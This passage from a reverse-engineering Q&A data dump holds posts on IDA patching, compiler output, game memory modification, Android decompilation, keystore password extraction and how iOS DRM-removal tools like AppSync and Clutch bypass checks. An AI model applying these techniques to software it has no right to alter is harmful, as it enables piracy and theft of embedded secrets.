69127.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, you can search the rest of the code for writes to dword_5F94E0 with those values.  Then you will have the events that are interesting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At that point, you can presumably change the event value to something that won't trigger the &quot;fired&quot; code path.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2017-02-18T06:37:08.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14686" PostTypeId="2" ParentId="14634" CreationDate="2017-02-18T10:21:34.673" Score="1" Body="&lt;p&gt;So the problem was, the network application was using &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa364986(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;GetQueuedCompletionStatus&lt;/a&gt; instead of &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms741582(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;WSAGetOverlappedResult&lt;/a&gt;. It is explained here: &lt;a href=&quot;https://support.microsoft.com/cs-cz/help/181611/socket-overlapped-i-o-versus-blocking-nonblocking-mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.microsoft.com/cs-cz/help/181611/socket-overlapped-i-o-versus-blocking-nonblocking-mode&lt;/a&gt;. I just somehow missed this article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're asking how i found it out, well i had to do it the hard way. I started at the instruction causing ACCESS_VIOLATION, and i went backwards in the code flow using return addresses on stack trying to trace the origin the malformed data. Unfortunately the crash was happening in other thread than packet processing, so i also had to use hardware memory breakpoints to find, where are those data copied from, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One mistery however remains unsolved, and that's: Why didn't a hardware breakpoint put directly in the buffer passed to WSARecvFrom pause my program? When code reaches GetQueuedCompletionStatus, data are clearly there, but it passes my breakpoint and performed this operation without breaking.&lt;/p&gt;&#xA;" OwnerUserId="17653" LastActivityDate="2017-02-18T10:21:34.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14687" PostTypeId="2" ParentId="14534" CreationDate="2017-02-18T10:49:22.463" Score="0" Body="&lt;p&gt;I finally figure this out and it's almost cheating. I have searched internet and found a branch calculator application that will determine what the new bytes will be after you enter current and next instruction. After that, I just enter new bytes in IDA and branch is done.&lt;/p&gt;&#xA;" OwnerUserId="15808" LastActivityDate="2017-02-18T10:49:22.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14688" PostTypeId="1" AcceptedAnswerId="14760" CreationDate="2017-02-18T11:04:05.917" Score="0" ViewCount="1453" Body="&lt;p&gt;I am trying to recreate a patch for an ARM binary. As it shows in attached picture, I have provided the before and after sections of file. In patched file, a new subroutine is added in a cave, and then it branches to an existing subroutine that has changed to an instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how do you recreate such a patch? I know how to edit bytes in IDA, but not sure how to add new ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DHFS2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DHFS2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15808" LastActivityDate="2017-04-28T21:58:39.220" Title="Add new subroutine using IDA for ARM binary" Tags="|ida|disassembly|arm|ios|function-hooking|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14689" PostTypeId="1" AcceptedAnswerId="14694" CreationDate="2017-02-18T13:08:04.757" Score="0" ViewCount="147" Body="&lt;p&gt;I want to know how MSVC 2010 generates code for volatile local variable and have done a test. This simple test function uses a volatile local variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int proc1(int a, int b) {&#xA;    int volatile volvar=0;&#xA;&#xA;    int c=a;&#xA;    if (b&amp;gt;a) &#xA;        c=0;&#xA;    return c;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The initialization of the integer &lt;code&gt;volvar&lt;/code&gt; should not be eliminated by the optimizer due to the &lt;code&gt;volatile&lt;/code&gt; keyword. The generated 64bit assembly is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_TEXT   SEGMENT&#xA;volvar$ = 8&#xA;a$ = 8&#xA;b$ = 16&#xA;?proc1@@YAHHH@Z PROC                    ; proc1, COMDAT&#xA;&#xA;; 3    : int volatile volvar=0;&#xA;&#xA;    xor eax, eax&#xA;&#xA;; 4    : &#xA;; 5    :    int c=a;&#xA;; 6    :    if (b&amp;gt;a) &#xA;&#xA;    cmp edx, ecx&#xA;    cmovg   ecx, eax&#xA;    mov DWORD PTR volvar$[rsp], eax;&amp;lt;---what is 'mov DWORD PTR [8+rsp], eax'?&#xA;&#xA;; 7    :        c=0;&#xA;; 8    :    return c;&#xA;&#xA;    mov eax, ecx&#xA;&#xA;; 9    : }&#xA;&#xA;    ret 0&#xA;?proc1@@YAHHH@Z ENDP                    ; proc1&#xA;_TEXT   ENDS&#xA;END&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the symbol &lt;code&gt;volvar$&lt;/code&gt; equals to 8, so the instruction generated for the volatile local variable assignment write to the address [8+rsp]. RSP wasn't modified so should point to the return address. But my understanding of the 64bit stack layout is that there is no longer any parameters above the return address. Instead, [8+rsp] should point to the RCX storage location for the CALLING FUNCTION which has nothing to do with our current function. Does that overwrite the stack of the calling function incorrectly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a bug with the compiler?&lt;/p&gt;&#xA;" OwnerUserId="8489" LastEditorUserId="8489" LastEditDate="2017-02-18T13:15:36.233" LastActivityDate="2017-02-18T22:20:23.753" Title="MSVC Generates Weird Code for Volatile Local Variable" Tags="|disassembly|c++|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14690" PostTypeId="1" AcceptedAnswerId="15004" CreationDate="2017-02-18T14:02:10.183" Score="4" ViewCount="1752" Body="&lt;p&gt;I'm trying to inject code into a small game I wrote to keep the health up forever, I want to do this by injecting code into the game that would set the health to &lt;code&gt;10&lt;/code&gt; before each &lt;code&gt;render()&lt;/code&gt; call, causing the game to in essence never end. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For my project I wrote a small sample game in C++, which I then compiled, and decompiled in IDA. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to to find the address in which the &lt;code&gt;health&lt;/code&gt; is being stored (&lt;code&gt;0x0000000140005034&lt;/code&gt;), and the main loop address (&lt;code&gt;0x000000014000107D&lt;/code&gt;), however I can't seem to figure out how I'd go from a static address in IDA, to an actual address when spawning the process in another C++ program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone give me a hint on how I could achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I'm trying to use to inject code into my application:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;Windows.h&amp;gt;&#xA;&#xA;#include &quot;config.h&quot;&#xA;&#xA;STARTUPINFO info = {sizeof(info)};&#xA;PROCESS_INFORMATION process;&#xA;&#xA;&#xA;void injectCodeIntoProccess()&#xA;{&#xA;    // Stuck here, no idea how I could modify my game's code on every loop iteration.&#xA;}&#xA;&#xA;&#xA;void main()&#xA;{&#xA;    if (CreateProcess(EXECUTABLE_PATH, NULL, NULL, NULL, NULL, NULL, NULL, NULL, &amp;amp;info, &amp;amp;process)) {&#xA;        injectCodeIntoProccess();&#xA;        WaitForSingleObject(process.hProcess, INFINITE);&#xA;    } else {&#xA;        std::cerr &amp;lt;&amp;lt; &quot;Error whilst creating process.&quot; &amp;lt;&amp;lt; std::endl;&#xA;        exit(1);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the code I used for my game:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;Windows.h&amp;gt;&#xA;&#xA;&#xA;// Health variable&#xA;// Address (as found in IDA): .data:0x0000000140005034&#xA;int health = 10;&#xA;&#xA;&#xA;// Render the game&#xA;//&#xA;// In real world scenario's this would be a 3d world or something&#xA;// but we're using 'Health: *..' as the game itself.&#xA;void render()&#xA;{&#xA;    std::cout &amp;lt;&amp;lt; &quot;Health: &quot;;&#xA;    for (int i = 0; i &amp;lt; health; i++) std::cout &amp;lt;&amp;lt; &quot;*&quot;;&#xA;    std::cout &amp;lt;&amp;lt; std::endl;&#xA;}&#xA;&#xA;&#xA;// Gets input from the user&#xA;//&#xA;// If the user presses a spacebar, increase the health&#xA;// by one otherwise, decrease the health by one.&#xA;void input()&#xA;{&#xA;    if (GetKeyState(VK_SPACE) &amp;lt; 0) {&#xA;        health++;&#xA;    } else {&#xA;        health--;&#xA;    }&#xA;}&#xA;&#xA;&#xA;// Simple game&#xA;//&#xA;// If the player reaches 0 health game over.&#xA;// This is checked every 500ms&#xA;int main()&#xA;{&#xA;    while (health &amp;gt; 0) &#xA;    {&#xA;        input();&#xA;        render();&#xA;        Sleep(500);&#xA;    }&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7000" LastEditorUserId="60" LastEditDate="2017-05-22T18:04:27.063" LastActivityDate="2017-05-22T18:04:27.063" Title="Modifying address found through IDA" Tags="|ida|c++|memory|injection|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14691" PostTypeId="2" ParentId="14680" CreationDate="2017-02-18T16:31:40.627" Score="2" Body="&lt;p&gt;Converting the numbers to ASCII, we get:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0 ~ 9 = &lt;code&gt;0&lt;/code&gt; ~ &lt;code&gt;9&lt;/code&gt; (0x30 ~ 0x39)&lt;/li&gt;&#xA;&lt;li&gt;10 ~ 35 = &lt;code&gt;A&lt;/code&gt; ~ &lt;code&gt;Z&lt;/code&gt; (0x41 ~ 0x5a)&lt;/li&gt;&#xA;&lt;li&gt;36 ~ 61 = &lt;code&gt;a&lt;/code&gt; ~ &lt;code&gt;z&lt;/code&gt; (0x61 ~ 0x7a)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It is encoded this way probably to make it human-readable.&lt;/p&gt;&#xA;" OwnerUserId="16021" LastActivityDate="2017-02-18T16:31:40.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14692" PostTypeId="2" ParentId="14679" CreationDate="2017-02-18T16:56:29.300" Score="1" Body="&lt;p&gt;You may want to try &lt;a href=&quot;https://github.com/skylot/jadx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;jadx&lt;/strong&gt;&lt;/a&gt;, which supports decompiling *.aar since v0.6.1. You could save the decompiled code as a Gradle project, which you could then open it in Android Studio and do the refactoring.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Alternatively, note that &lt;a href=&quot;https://developer.android.com/studio/projects/android-library.html#aar-contents&quot; rel=&quot;nofollow noreferrer&quot;&gt;*.aar&lt;/a&gt; is basically a *.jar and Android resources bundled together. You cannot use baksmali, the *.jar still contains JVM bytecode and not converted to dex! You just need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Rename the *.aar to *.zip and unzip it&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/647116/how-to-decompile-a-whole-jar-file&quot;&gt;Decompile the &lt;code&gt;classes.jar&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create a project with the decompiled *.java files&lt;/li&gt;&#xA;&lt;li&gt;Use &quot;Refactoring&quot; to rename, etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Both of these methods only support static analysis, you cannot debug an app using the decompiled result. Unless the decompiled result can actually be compiled, which you could link your sample code with them instead of the library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, these won't help if the real code are compiled with NDK (check if there are any *.so files when you unzip the *.aar).&lt;/p&gt;&#xA;" OwnerUserId="16021" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-02-18T16:56:29.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14693" PostTypeId="2" ParentId="14670" CreationDate="2017-02-18T20:33:46.210" Score="1" Body="&lt;p&gt;IDAPython - you can automate almost everything in IDA with IDAPython or IDC.&#xA;The hard part is that it's not very well explained. There are a few things that can help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All menu actions can be linked to IDC funtion via the IDA configuration files found in the cfg directory inside the IDA installation path (3 files starting with ida)&lt;/li&gt;&#xA;&lt;li&gt;Read inside the source files. They're fairly well documented.&lt;/li&gt;&#xA;&lt;li&gt;Read the IDA Pro book second edition&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Apart from that you might even be able to do it without the IDA GUI: &lt;a href=&quot;http://www.hexblog.com/?p=128&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.hexblog.com/?p=128&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12556" LastActivityDate="2017-02-18T20:33:46.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14694" PostTypeId="2" ParentId="14689" CreationDate="2017-02-18T22:20:23.753" Score="4" Body="&lt;p&gt;No, it's not a compiler bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The x64 calling convention on Windows says that the caller needs to allocate space on the stack for 4 register parameters even if the called function has less than 4 arguments.  Whilst, notionally, these are for the called function to spill the 1st four parameters (passed in registers RCX, RDX, R8 and R9) to, there is no requirement for it do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, even if the called function has fewer than 4 parameters, these 4 stack locations are effectively owned by the called function, and may be used by the called function for other purposes besides saving parameter register values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ew5tede7(v=vs.140).aspx&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;here&quot;&gt;Microsoft's documentation&lt;/a&gt; for details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example, &lt;code&gt;proc1&lt;/code&gt; doesn't need to spill any registers so the compiler can efficiently use this allocated space for your &lt;code&gt;volvar&lt;/code&gt; local variable instead.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2017-02-18T22:20:23.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14698" PostTypeId="1" AcceptedAnswerId="14713" CreationDate="2017-02-20T16:12:47.830" Score="2" ViewCount="2528" Body="&lt;p&gt;Here is a quick question. Someone told me that I can reverse engineering a pdf file, extracting and analyzing the underlying XML files, and figure out the creator's name for this pdf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I googled such approach for a while, and cannot figure out a feasible solution. Could anyone shed some light on this point..? Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="1413" LastEditDate="2017-02-20T17:10:18.193" LastActivityDate="2017-02-23T13:40:58.407" Title="Can I reverse engineer a pdf file to identify the creator's name?" Tags="|digital-forensics|pdf|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14699" PostTypeId="2" ParentId="12906" CreationDate="2017-02-20T18:08:02.047" Score="3" Body="&lt;p&gt;This &lt;a href=&quot;https://www.remkoweijnen.nl/blog/2013/05/30/redirect-registry-by-modifying-net-executable/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog&lt;/a&gt; that I wrote a a few years ago describes all the steps to modify a .net binary with Reflector and Reflexil. Not sure which steps you're missing but I recommended to read&amp;amp;compare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Today I would recommend Telerik's &lt;a href=&quot;http://www.telerik.com/products/decompiler.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;JustDecompile&lt;/a&gt; though as it has built in de-obfuscation (de4dot) and has an option to replace a section with code which is much, much, easier than writing replacement code in IL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/EDIT: Here's a &lt;a href=&quot;https://www.remkoweijnen.nl/blog/2017/03/14/modifying-net-application/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog&lt;/a&gt; I wrote about using JustDecompile and Reflector to modify a .net binary.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2017-03-20T19:24:43.033" LastActivityDate="2017-03-20T19:24:43.033" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14701" PostTypeId="1" AcceptedAnswerId="14707" CreationDate="2017-02-20T22:22:21.507" Score="0" ViewCount="1503" Body="&lt;p&gt;Novice Android security researcher here. Recently I was tasked with the task/challenge of exposing a certain app's hardcoded local keystore password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've decompiled it with JEB2 and obviously within huge mess of code I can see various references to the cryptographic algorithms, hashing and encoding routines (OCRA1, HMAC, SHA1, AES, base64 etc.) utilized in the classes and methods of the prototypes, related calls etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, from the experienced pentester's viewpoint would it be possible to reveal the hardcoded pass through app's heap dumps or maybe traffic interception with the BurpSuite's mitm attack via fake certificate between the client/server point? If so, how would I then discern it from the ocean of other strings?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not possible what is the proper way to proceed from then on taking into account lack of experience in reading java or reverse engineering crypto stuff?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="19230" LastEditorUserId="19230" LastEditDate="2017-02-21T19:16:43.320" LastActivityDate="2018-07-10T18:54:12.433" Title="Android App's hardcoded local keystore password r3versing" Tags="|decompilation|android|obfuscation|encryption|decryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14703" PostTypeId="2" ParentId="12560" CreationDate="2017-02-21T01:53:26.013" Score="0" Body="&lt;p&gt;sudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda MYROUTERBINARY.bin &#xA;-append &quot;root=/dev/sda1 console=ttyS0&quot;-nographic&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do the equipment you will use the bin file has partitions?&#xA;I will add as a final statement --no-acpi. It should do it. When you run qemu systems that part is very important. Or the symptom you are explaining will happend.&lt;/p&gt;&#xA;" OwnerUserId="19235" LastActivityDate="2017-02-21T01:53:26.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14704" PostTypeId="1" CreationDate="2017-02-21T03:40:08.747" Score="12" ViewCount="6460" Body="&lt;p&gt;I know how to decrypt an iOS app use tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this encryption performed?  Why can iOS apps only be decrypted on a device?  Is there a device-specific key used for encryption?&lt;/p&gt;&#xA;" OwnerUserId="17187" LastEditorUserId="17972" LastEditDate="2017-03-01T03:21:22.880" LastActivityDate="2017-03-01T03:21:22.880" Title="How are Apple App Store Apps encrypted?" Tags="|decryption|ios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14705" PostTypeId="2" ParentId="14704" CreationDate="2017-02-21T05:23:21.457" Score="17" Body="&lt;p&gt;When you download an app from the App Store, Apple injects a special 4196 byte long header into the signed binary encrypted with the public key associated with your iTunes account.  This public/private key pair is generated when you create your iTunes Account, and transferred to your iOS device when you log in with your iTunes account or Apple ID.  This is part of Apple's FairPlay DRM.  At install time, your iOS device tries to decrypt the header with your key, which will succeed if the app was downloaded from the App Store with matching credentials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do tools like AppSync bypass the check?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many older versions of AppSync are based on the original tool PPSync, a patch made by the notorious Chinese iOS piracy website 25pp which modifies installd's launch daemon plist file to interpose its signature checking routines.  This is unsafe and creates an unstable runtime.  Newer tools such as AppSync Unified utilize the dynamic hooking function &lt;code&gt;MSHookFunction()&lt;/code&gt; in Cydia Substrate to bypass installd's signature checks. This means AppSync Unified does not modify any system files and is much more stable and safe as a result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why can you only remove the DRM from an iOS app on an actual device?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tools such as Crackulous are just a frontend on top of Clutch, a DRM-removal tool.  An additional signature check is performed at runtime to ensure the application is provisioned to run on your iOS device.  Clutch hooks into the device runtime to dump the application from memory and into an unsigned binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sources:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.theiphonewiki.com/wiki/Copy_Protection_Overview&quot; rel=&quot;noreferrer&quot;&gt;Copy Protection Overview - The iPhone Wiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/angelXwind/AppSync/blob/master/README.md&quot; rel=&quot;noreferrer&quot;&gt;AppSync Unified on GitHub&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/KJCracks/Clutch&quot; rel=&quot;noreferrer&quot;&gt;Clutch on GitHub&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17972" LastEditorUserId="17972" LastEditDate="2017-02-21T17:44:54.423" LastActivityDate="2017-02-21T17:44:54.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14707" PostTypeId="2" ParentId="14701" CreationDate="2017-02-21T07:57:55.373" Score="1" Body="&lt;p&gt;First thing I'd try to search for uses of standard implementation of the key store,  &lt;a href=&quot;https://developer.android.com/reference/java/security/KeyStore.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;KeyStore&lt;/a&gt; class. This class is external for the application and should be referenced by name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this key store uses standard API it probably uses the the &lt;code&gt;KeyStore.load&lt;/code&gt; function which gets the desired password as a second parameter.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;final void    load(InputStream stream, char[] password) : &#xA;  Loads this KeyStore from the given input stream.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Good luck. &lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2017-02-21T07:57:55.373" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14708" PostTypeId="2" ParentId="1397" CreationDate="2017-02-21T10:39:42.367" Score="2" Body="&lt;p&gt;This paper might be of interest: &lt;a href=&quot;https://gmplib.org/~tege/divcnst-pldi94.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Division by invariant multiplication&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bumped into this &lt;a href=&quot;https://stackoverflow.com/questions/30790184/perform-integer-division-using-multiplication&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="19240" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-02-21T10:39:42.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14709" PostTypeId="2" ParentId="1833" CreationDate="2017-02-21T10:47:23.550" Score="0" Body="&lt;p&gt;If anyone finds it useful I made myself a little calculator to easily get addresses for locations in my disassembler which uses the same  algorithm described above.&#xA;It currently defaults to binary ninja's base address but this is easy to change in the code.&#xA;&lt;a href=&quot;https://github.com/scrapbird/OffsetCalc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/scrapbird/OffsetCalc&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19242" LastActivityDate="2017-02-21T10:47:23.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14710" PostTypeId="1" AcceptedAnswerId="14739" CreationDate="2017-02-21T11:16:41.887" Score="1" ViewCount="3544" Body="&lt;p&gt;I am using OllyDbg 2.01 and I walked through this &lt;a href=&quot;http://www.ollydbg.de/Loaddll.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt; to figure out how Call DLL export works. Even though it was written for another version of OllyDBG it work just fine. We should notice, that in example with USER32.dll OllyDBG detects number of input arguments, so I can change them from Call DLL export dialogue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to write my own DLL library in C++ in order to test OllyDBG functionality in a more detailed manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a source code of my library.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPPlib.h&#xA;&#xA;#pragma once&#xA;#ifdef CPPLib_EXPORTS  &#xA;#define CPPLib_API __declspec(dllexport)   &#xA;#else  &#xA;#define CPPLib_API __declspec(dllimport)   &#xA;#endif  &#xA;&#xA;#include &amp;lt;string&amp;gt;&#xA;&#xA;namespace CPPLib&#xA;{&#xA;&#xA;    class Functions&#xA;    {&#xA;    public:&#xA;&#xA;        static CPPLib_API void Identify();&#xA;&#xA;&#xA;        static CPPLib_API void GetText();&#xA;&#xA;&#xA;        static CPPLib_API void PrintText(std::string&amp;amp; s);&#xA;    };&#xA;}&#xA;&#xA;&#xA;CPPLib.cpp&#xA;&#xA;#include &quot;stdafx.h&quot;  &#xA;#include &quot;CPPLib.h&quot;  &#xA;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;&#xA;namespace CPPLib&#xA;{&#xA;    void Functions::Identify()&#xA;    {&#xA;        std::cout &amp;lt;&amp;lt; &quot;This is a CPPlib \r\n&quot;;&#xA;    }&#xA;&#xA;    void Functions::GetText()&#xA;    {&#xA;        std::cout &amp;lt;&amp;lt; &quot;This is a random text from CPPlib \r\n&quot;;&#xA;    }&#xA;&#xA;    std::wstring s2ws(const std::string&amp;amp; s)&#xA;    {&#xA;        int len;&#xA;        int slength = (int)s.length() + 1;&#xA;        len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0);&#xA;        wchar_t* buf = new wchar_t[len];&#xA;        MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len);&#xA;        std::wstring r(buf);&#xA;        delete[] buf;&#xA;        return r;&#xA;    }&#xA;&#xA;    void Functions::PrintText(std::string&amp;amp; s)&#xA;    {&#xA;        std::wstring stemp = CPPLib::s2ws(s);&#xA;        LPCWSTR result = stemp.c_str();&#xA;&#xA;        MessageBox(0, result, (LPCWSTR)L&quot;MessageBox caption&quot;, MB_OK);&#xA;&#xA;        std::cout &amp;lt;&amp;lt; &quot;This is a user input text: &quot; &amp;lt;&amp;lt; s;&#xA;    }&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this question my interest is in the function &lt;strong&gt;PrintText&lt;/strong&gt;. It takes string as an input argument, show Message box with it and prints the same string in the console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I call this function from C++ program - it works just fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;stdafx.h&quot;&#xA;#include &quot;CPPLib.h&quot;&#xA;#include &amp;lt;string&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;    CPPLib::Functions::Identify();&#xA;    CPPLib::Functions::GetText();&#xA;    std::string s = &quot;USER INPUT&quot;;&#xA;    CPPLib::Functions::PrintText(s);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unlike in the example from tutorial, OllyDBG does not detect number of input arguments for my DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tBBs6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tBBs6.png&quot; alt=&quot;function from user32.dll&quot;&gt;&lt;/a&gt;&#xA;USER32.dll&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WOMMu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WOMMu.png&quot; alt=&quot;CPPLib.dll&quot;&gt;&lt;/a&gt;&#xA;CPPLib.dll&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, even if I define it manually (e.g. choose Arg1 to be memory buffer 1) when calling that function it does not take what I wanted to be an argument. And there is no other way to change this argument as step into a function, find memory address to which it refers and change it there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: Why does OllyDbg detect number of input arguments in functions (and allows to alter them easily) from USER32.dll and doesn't in my own DLL? How can I overcome this problem?&lt;/p&gt;&#xA;" OwnerUserId="15278" LastActivityDate="2017-05-05T19:40:24.980" Title="Call DLL export in OllyDBG" Tags="|ollydbg|debugging|dll|functions|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
